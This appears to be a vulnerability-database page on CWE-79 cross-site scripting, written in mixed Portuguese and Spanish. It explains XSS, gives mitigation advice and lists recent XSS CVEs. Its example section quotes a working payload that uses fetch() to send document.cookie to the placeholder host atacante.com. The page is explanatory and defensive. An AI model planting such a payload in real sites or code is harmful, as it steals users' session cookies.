Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-0545MEDIUMXSS in Tekrom Technology's T-Soft E-CommerceEPSS 0.3%CVE-2026-41250MEDIUMXSS in taiga-frontEPSS 0.3%CVE-2025-3020MEDIUMWiesemann & Theis: Multiple W&T Products are vulnerable to cross-site-scriptingEPSS 0.3%CVE-2025-60312MEDIUMSourcecodester Markdown to HTML Converter v1.0 is vulnerable to a Cross-Site Scripting (XSS) in the "Markdown Input" field, allowing a remotEPSS 0.3%CVE-2026-1053MEDIUMIvory Search <= 5.5.13 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'menu_gcse' and 'nothing_found_text' ParametersEPSS 0.3%CVE-2020-36993MEDIUMLimeSurvey <= 4.3.10 - 'Survey Menu' Persistent Cross-Site ScriptingEPSS 0.3%CVE-2026-111059MEDIUMMercury: Stored / DOM Cross-Site Scripting (XSS): mr.Markdown renders untrusted content as raw, unsanitized HTMLEPSS 0.3%CVE-2026-55409HIGHFilament: Disabled RichEditor field state can be used for XSSEPSS 0.3%CVE-2026-85235HIGHForminator Forms <= 1.57.2 - Unauthenticated Stored Cross-Site Scripting via Rich-Text Textarea FieldEPSS 0.3%CVE-2024-45528MEDIUMCodeAstro MembershipM-PHP (aka Membership Management System in PHP) 1.0 allows add_members.php fullname stored XSS.EPSS 0.3%CVE-2025-46478HIGHWordPress Dropdown Content plugin <= 1.0.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2019-25280MEDIUMYahei-PHP Prober 0.4.7 Remote HTML Injection via Speed ParameterEPSS 0.3%CVE-2024-11814MEDIUMAdditional Custom Order Status for WooCommerce <= 1.6.0 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-22580MEDIUMWordPress Biltorvet Dealer Tools plugin <= 1.0.22 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22577MEDIUMWordPress Able Player plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-57237MEDIUMProlink 4G LTE Mobile Wi-Fi DL-7203E V4.0.0B05 is vulnerable to Cross Site Scripting (XSS) in the /reqproc/proc_get endpoint. The vulnerabilEPSS 0.3%CVE-2025-60950MEDIUMAn arbitrary file upload vulnerability in the Data Preparation function of AIxBlock commit f60975 allows attackers to execute arbitrary codeEPSS 0.3%CVE-2026-4616MEDIUMbolo-blog Article Title article cross site scriptingEPSS 0.3%CVE-2026-4952MEDIUMStored Cross-Site Scripting in OrderAdministration Portal (AuftragsManager) via Business Reference in VertiGIS WebOrderSystemEPSS 0.3%CVE-2026-34716MEDIUMAVideo: DOM XSS via Unsanitized Display Name in WebSocket Call NotificationEPSS 0.3%